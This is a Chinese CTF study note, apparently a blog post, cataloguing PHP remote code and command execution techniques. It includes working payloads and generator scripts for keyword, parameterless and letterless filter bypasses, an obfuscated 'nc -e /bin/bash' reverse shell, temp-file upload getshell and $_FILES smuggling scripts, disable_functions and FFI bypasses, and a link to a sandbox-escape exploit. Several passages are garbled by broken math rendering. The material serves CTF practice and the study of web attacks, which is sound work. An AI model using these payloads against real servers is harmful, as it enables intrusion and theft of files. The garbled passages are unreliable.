命令执行小结
代码执行
通俗的来说是执行php的代码,经常需要利用命令执行有关的函数来读取flag
常用函数:
-
eval() 例子: <?php
eval($_GET['pass'])
?>
-
assert() PHP 5 bool assert ( mixed $assertion [, string $description ] )
PHP 7 bool assert ( mixed $assertion [, Throwable $exception ] )
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。 <?php
assert($_GET['pass']);
?>
-
preg_replace() mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串 更详细的说明见:php-preg_replace -
call_user_func() mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。 <?php
call_user_func($_GET['chybeta'],$_GET['ph0en1x']);
?>
访问附加如下参数可执行phpinfo ?chybeta=assert&ph0en1x=phpinfo()
-
call_user_func_array() mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为**回调函数(callback)**调用,把参数数组作(param_arr)为回调函数的的参数传 <?php
call_user_func_array($_GET['chybeta'],$_GET['ph0en1x']);
?>
访问附加如下参数可执行phpinfo ?chybeta=assert&ph0en1x[]=phpinfo()
-
create_function string create_function ( string $args , string $code )
该函数的内部实现用到了eval ,所以也具有相同的安全问题。第一个参数args 是后面定义函数的参数,第二个参数是函数的代码。 <?php
$a = $_GET['chybeta'];
$b = create_function('$a',"echo $a");
$b('');
?>
访问附加如下参数可执行phpinfo ?chybeta=phpinfo();
-
array_map() array array_map ( callable $callback , array $array1 [, array $... ] )
作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。 <?php
$array = array(0,1,2,3,4,5);
array_map($_GET['chybeta'],$array);
?>
访问附加如下参数可执行phpinfo ?chybeta=phpinfo();
命令执行
通俗来说就是执行linux中shell的函数,需要传入的参数是shell指令
? 常用函数:
-
system()(有回显) string system ( string $command [, int &$return_var ] )
command是要执行的命令。return_var,如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。 例子: system("whoami");
-
passthru()(有回显) void passthru ( string $command [, int &$return_var ] )
command是要执行的命令。return_var,如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。 passthru("whoami");
-
exec()(无回显) string exec ( string $command [, array &$output [, int &$return_var ]] )
exec() 执行 command 参数所指定的命令。 其余参数,见文档 echo exec("whoami");
-
pcntl_exec() void pcntl_exec ( string $path [, array $args [, array $envs ]] )
path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本 args是一个要传递给程序的参数的字符串数组。 pcntl_exec ( "/bin/bash" , array("whoami"));
-
shell_exec() string shell_exec ( string $cmd )
cmd是要执行的命令。 echo shell_exec("whoami");
-
popen() resource popen ( string $command , string $mode )
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 后面的mode,当为 ‘r’,返回的文件指针等于命令的 STDOUT,当为 ‘w’,返回的文件指针等于命令的 STDIN。 $handle = popen("/bin/ls", "r");
-
proc_open() resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
cmd是要执行的命令,其余见文档 -
`(反单引号) 在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。 <?php
echo `whoami`;
?>
-
ob_start() bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。 可选参数 output_callback 函数可以被指定。 此函数把一个字符串当作参数并返回一个字符串。 当输出缓冲区被( ob_flush(), ob_clean() 或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。 当调用 output_callback 时,它将收到输出缓冲区的内容作为参数 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。 下面的代码,由于调用了ob_end_flush(),所以会调用ob_start(
c
m
d
)
中
的
c
m
d
,
把
我
们
输
入
的
cmd)中的cmd,把我们输入的
cmd)中的cmd,把我们输入的_GET[a]作为cmd的参数。 <?php
$cmd = 'system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();
?>
访问: http://localhost:2500/codeexec.php?a=whoami
-
php mail() mail 文档 bool mail (
string $to ,
string $subject ,
string $message [,
string $additional_headers [,
string $additional_parameters ]]
)
要使用mail()函数,需要配置对应的服务器等,在php.ini中有两个选项:
- 配置SMTP服务器的主机名和端口
- 配置PHP用作邮件传输代理(MTA)的文件路径
当PHP配置了第二个选项时,对该mail()函数的调用将导致执行配置对MTA程序。虽然PHP内部使用escapeshellcmd()用于程序调用,防止新的shell命令注入,但第5个参数$additional_parameters中mail()允许添加的新程序。因此,攻击者可以附加程序标志,在某些MTA中可以创建具有用户控制内容的文件。
绕过思路
对单词的过滤
形如
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
flag在同目录flag.php中
只要让c中不出现以上单词即可
-
绕过命令执行中出现的字符 在这我们需要读取flag.php,可以利用通配符绕过 以下是命令执行的绕过,就是说以下的/?in/?at fl??.p?p应该是写在system(‘xxx’); 这样的函数中的
/?in/?at fl??.p?p
cat fl*
cat fl''lg.php
cat fl""lg.php
cat \f\l\a\g\.p\h\p
nc -e /bin/bash 127.0.0.1 3737
127.0.0.1 → 2130706433
/??n/?c -e /??n/b??h 2130706433 3737
-
绕过命令执行函数限制 这里的system()被禁用了
include$_GET["url"]?>&url=php:
注意到include函数其实不加()也能正确识别参数$_GET[“url”]并执行,其余函数也有类似的特性 可以发现此处的绕过完全不需要管flag.php,?>可以用来绕过; php代码最后有?>不写;是不会报错的
-
上面的思路其实已经跳脱了这个对于变量c 的过滤,因而我们也可以直接构造一个 eval($_GET[a])?>&a=system('cat flag.php');
此处需要eval套eval,猜测应该是需要先构建出a变量才能传入参数,不套的话只报错不执行代码 在不过滤$ _ [ ] 的情况下新建变量绕过的方式比较常用
无参数RCE
什么是无参数?
顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等
形如
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
像这种过滤的东西很多的情况下先跑个脚本看看能用什么东西
<?php
for($a = 20; $a < 127; $a++){
if (!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", chr($a))){
echo chr($a)." ";
}
}
?>
! ( ) ; A B C D E F G H I J K L M N O P Q R S T U V W X Y Z _ a b c d e f g h i j k l m n o p q r s t u v w x y z |
可以看到可用的字符不少,但是特殊符号被限制得很死,因而我们需要构造的是无参的函数payload
举个例子:
a(b(c()));可以使用,但是a(‘b’)或者a(‘b’,‘c’)这种含有参数的都不能使用
正常的,print_r(scandir(’.’));可以用来查看当前目录所有文件名
但是要怎么构造参数里这个点呢,这里介绍几个方法:
localeconv()
localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."(后续出现的.都用双引号包裹,方便识别)
<?php
var_dump(localeconv());
?>
可以看到
第一项就是. ,要怎么取到这个点呢,另一个函数:
current()返回数组中的单元,默认取第一个值,pos是current的别名
如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值,如果数组为空则返回 FALSE
因而print_r(scandir('.')); 可以用如下的函数代替
print_r(scandir(pos(localeconv())));
-
下面这个取. 就是看脸游戏了 chr(46) chr(46)就是字符"." 要构造46,有几个方法: chr(rand()) (不实际,看运气)
chr(time())
chr(current(localtime(time())))
chr(time()): chr()函数以256为一个周期,所以chr(46),chr(302),chr(558)都等于"." 所以使用chr(time()),一个周期必定出现一次"." chr(current(localtime(time()))): 数组第一个值每秒+1,所以最多60秒就一定能得到46,用current(pos)就能获得"." -
还有一个数学游戏的取. phpversion() phpversion()返回PHP版本,如5.5.9 floor(phpversion())返回 5 sqrt(floor(phpversion()))返回2.2360679774998 tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615 cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491 sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156 ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46 chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"." -
crypt() hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 “.”(小概率) 然后通过chr(ord())只取第一个字符 ps:ord()返回字符串中第一个字符的Ascii值 print_r(scandir(chr(ord(hebrevc(crypt(time()))))));//(多刷新几次)
同理:strrev(crypt(serialize(array())))也可以得到".",只不过crypt(serialize(array()))的点出现在最后一个字符,需要使用strrev()逆序,然后使用chr(ord())获取第一个字符 print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
目录更换
- 获取当前目录getcwd()
- 对当前目录进行遍历var_dump(scandir(getcwd()))
- 遍历上一层目录var_dump(scandir(dirname(getcwd())))
- 跳到上一层目录chdir(dirname(getcwd())),或者结合chdir构造…来去上一层,如:chdir(scandir(next(scandir(getcwd()))))
尝试读取文件
? 通过前面的方法输出了当前目录文件名,如果文件不能直接显示,比如PHP源码,我们还需要使用函数读取:
前面的方法输出的是数组,文件名是数组的值,那我们要怎么取出想要读取文件的数组呢:
查询PHP手册发现:
手册里有这些方法,如果要获取的数组是最后一个我们可以用:
show_source(end(scandir(getcwd())));或者用readfile、highlight_file、file_get_contents 等读文件函数都可以(使用readfile和file_get_contents读文件,显示在源码处)
ps:readgzfile()也可读文件,常用于绕过过滤
payload:
show_source(array_rand(array_flip(scandir(current(localeconv())))));
array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组,所以这是一个看脸的payload
当然我们知道php存在超全局变量 ,因而也可以尝试在这上面动心思
-
getenv() <?php
var_dump(getenv());
?>
上面的代码可以列出当前$_ENV 这个超全局变量的值 如何单独取出,可以利用上面的array_rand()函数 <?php
var_dump(array_rand(getenv()));
?>
刷新界面就能出现不同的键了,如果需要值的话array_flip()交换一下 <?php
var_dump(array_rand(array_flip(getenv())));
?>
报错可以不管 -
getallheaders()(apache的函数,需要apache环境) 之前我们获取的是所有环境变量的列表,但其实我们并不需要这么多信息。仅仅http header即可 在apache2环境下,我们有函数getallheaders()可返回 我们可以看一下返回值 <?php
error_reporting(0);
var_dump(getallheaders());
?>
抓包,对数据包进行修改如图所示,可以看到mob成为了一个可控的变量 若此时后台代码为 eval(current(getallheaders()));
处于数组第一个的phpinfo就会被执行,如图所示 回到题目上,这题想采用getallheaders()来读取文件可以这样构造 show_source(current(getallheaders())); 此时后台的题目代码: <?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
var_dump(getallheaders());
?>
结果: 成功读取文件。 -
get_defined_vars() 使用getallheaders()其实具有局限性,因为他是apache的函数,如果目标中间件不为apache,那么这种方法就会失效,我们也没有更加普遍的方式呢? 这里我们可以使用get_defined_vars(),首先看一下它的回显 可以看到是一个数组套数组的结构,因而可以这样构造 ?c=show_source(end(current(get_defined_vars())));&mob=flag.php m在c的下方,因而取最后一个即可 此时的后台代码: <?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
var_dump(current(get_defined_vars()));
?>
这两个方法可直接利用system()类函数进行命令执行,不做演示 若对get和post,cookie等变量进行过滤还可利用$_FILES这个超全局变量 参考脚本如下 import requests
from io import BytesIO
payload = "system('ls /tmp');".encode('hex')
files = {
payload: BytesIO('sky cool!')
}
r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
print r.content
或者利用$_COOKIE session_id可以获取PHPSESSID的值 session_start()函数用于初始化session数据,我们在使用session时,经常要使用到
S
E
S
S
I
O
N
变
量
,
_SESSION变量,
S?ESSION变量,_SESSION是服务器端的cookie,相当一个大数组(浏览器关闭前,和session销毁前),$_SESSION中的数据可以一直用(除了重新赋值),在使用这个变量之前,必须先要开启session_start()。但不一定要把这个函数放在第一行,而是要保证在使用它之前,没有向浏览器输出过任何内容。
无数字字母RCE
形如
if(!preg_match('/[0-9]|[a-z]/i', $c)){
eval("echo($c);");
}
这题很明显过滤了数字字母,可用字符为
$ % & ’ ( ) * + , - . / : ; < = > ? @ [ \ ] ^ _ ` { | } ~
代码确实是限制了我们的 Webshell 不能出现任何字母和数字,但是并没有限制除了字母和数字以外的其他字符。所以我们的思路是,将非字母数字的字符经过各种转换,最后能构造出a-z0-9 中的任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,比如 “assert”、“system”、“file_put_contents”、“call_user_func” 等危险函数然后动态执行即可。
第一个思路是通过运算来生成数字字母,如异或,或,取反,自增。
异或
如图可以看到,?与~异或后生成了A
利用脚本:
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
用例:
先用php的脚本生成xor_rce.txt
之后利用python脚本
在函数无参数的情况下会有点小问题,把输出的参数去掉就行
后台代码:
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|[a-z]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>
执行phpinfo();
payload=("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();
执行system(“cat flag.php”);
flag.php与后台代码同文件夹
payload=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%06%0c%01%07%00%0b%08%0b"^"%60%60%7c%20%60%60%60%60%2e%7b%60%7b");
或
与异或运算类似,也是两个脚本
<?php
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
用例参考上一题
取反
取反用到的字符几乎都是不可见字符,因而一个脚本即可
<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
用例:
payload=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);
自增(7.0.12以上版本不可使用)
测试代码:
<?php
$s='a';
echo $s;
$s++;
echo $s;
?>
结果:
可以发现$s在自增后由a变成了b
所以问题变成了如何取A/a
如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
P神的代码
<?php
$_=[];
$_=@"$_";
$_=$_['!'=='@'];
$___=$_;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$_=$$____;
$___($_[_]);
删掉注释后
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
进行url编码
%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B
同时传入
_=phpinfo();
成功执行命令
上传临时文件getshell
具体原理看P神的无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)
import requests
url="http://xxx/test.php?code=?><?=`. /???/????????[@-[]`;?>"
files={'file':'cat f*'}
response=requests.post(url,files=files)
html = response.text
print(html)
这个环境不知道为啥不能直接在当前复现,/tmp里啥都没
确实有,但
删掉这个VMwareDnD就行(因为我环境放vmware里的,真实环境遇到这情况应该不多)
成功读取flag.php
或者开个容器
docker run --rm -p 9090:80 -v /home/mob/code/php/:/var/www/html php:5.6-apache
能看到文件上传到/tmp了
绕过重定向
对于以下的代码
system($c." >/dev/null 2>&1");
一个解释:
可以将/dev/null看作"黑洞". 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失.
我们传入了一个变量c,
在这里执行了重定向,将c的执行结果重定向到/dev/null中
2 表示stderr标准错误 & 表示等同于的意思,2>&1,表示2的输出重定向等同于1
结合上图的解释就简单理解成无论正确还是错误的执行,都可视为正确的执行。
但是在我们进行文件读取命令时这个重定向会将所有的输出全部丢弃,导致我们读不到数据
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
?>
对于以上的代码,我们想读取flag.php
如果只输入c=nl<fla''g.php
那么返回值是空白的
绕过思路:
||截断:在命令最后加上||,从而将整个命令分割为两部分,对于上题,传入c=nl<fla’'g.php ||即可
突破disable_function限制
disable_function就是在该PHP环境中被禁止的PHP函数
像宝塔的php环境默认就把大量的命令执行函数禁用了(所以实战中遇到命令执行的概率不大)
主要思路:找代替函数
-
读取文件有关的函数
-
c=echo file_get_contents(“flag.php”); c=include(’/flag.txt’); c=require(’/flag.txt’); c=require_once(’/flag.txt’); c=readfile(“flag.php”); c=var_dump(file(‘flag.php’)); c=print_r(file(‘flag.php’)); c=show_source(“flag.php”); c=highlight_file(“flag.php”); c=var_dump(file(“flag.php”)); -
组合操作
- c=
a
=
f
o
p
e
n
(
"
f
l
a
g
.
p
h
p
"
,
"
r
"
)
;
w
h
i
l
e
(
!
f
e
o
f
(
a=fopen("flag.php","r");while (!feof(
a=fopen("flag.php","r");while(!feof(a)) {
l
i
n
e
=
f
g
e
t
s
(
line = fgets(
line=fgets(a);echo KaTeX parse error: Expected 'EOF', got '}' at position 6: line;}?//一行一行读取 c=a=fopen(“flag.php”,“r”);while (!feof(KaTeX parse error: Expected '}', got 'EOF' at end of input: a)) {line = fgetc($a);echo KaTeX parse error: Expected 'EOF', got '}' at position 6: line;}?//一个一个字符读取 c=a=fopen(“flag.php”,“r”);while (!feof(KaTeX parse error: Expected '}', got 'EOF' at end of input: a)) {line = fgetcsv(
a
)
;
v
a
r
d
u
m
p
(
a);var_dump(
a);vard?ump(line);}
骚操作
直接读取文件不成功可以试试重命名文件后下载
//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy()
rename()
copy(“flag.php”,“flag.txt”); rename(“flag.php”,“flag.txt”);
shell进阶
原理:利用shell自带的变量绕过一些限制
例子:
KaTeX parse error: Expected '}', got 'EOF' at end of input: {HOME:{*#HOSTNAME}😒{#SHLVL}} ====> t*
KaTeX parse error: Expected '}', got 'EOF' at end of input: {PWD:{Z}😒{*#SHLVL}} ====> /*
绕过安全目录
主要靠自带漏洞
https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
FFI
FFI,php7.4以上才有
https://www.php.net/manual/zh/ffi.cdef.php
https://www.php.cn/php-weizijiaocheng-415807.html
$ffi= FFI::cdef(“int system(const char *command);”);//创建一个system对象 $a=’/readflag > 1.txt’;//没有回显的
f
f
i
?
>
s
y
s
t
e
m
(
ffi->system(
ffi?>system(a);//通过$ffi去调用system函数
参考: CTFshow(主要题目来源)
命令执行漏洞进阶详解 | Wh0ale’s Blog
老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_羽的博客-CSDN博客
PHP Parametric Function RCE · sky’s blog (skysec.top)
无参数读文件和RCE总结 - FreeBuf网络安全行业门户
无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)
|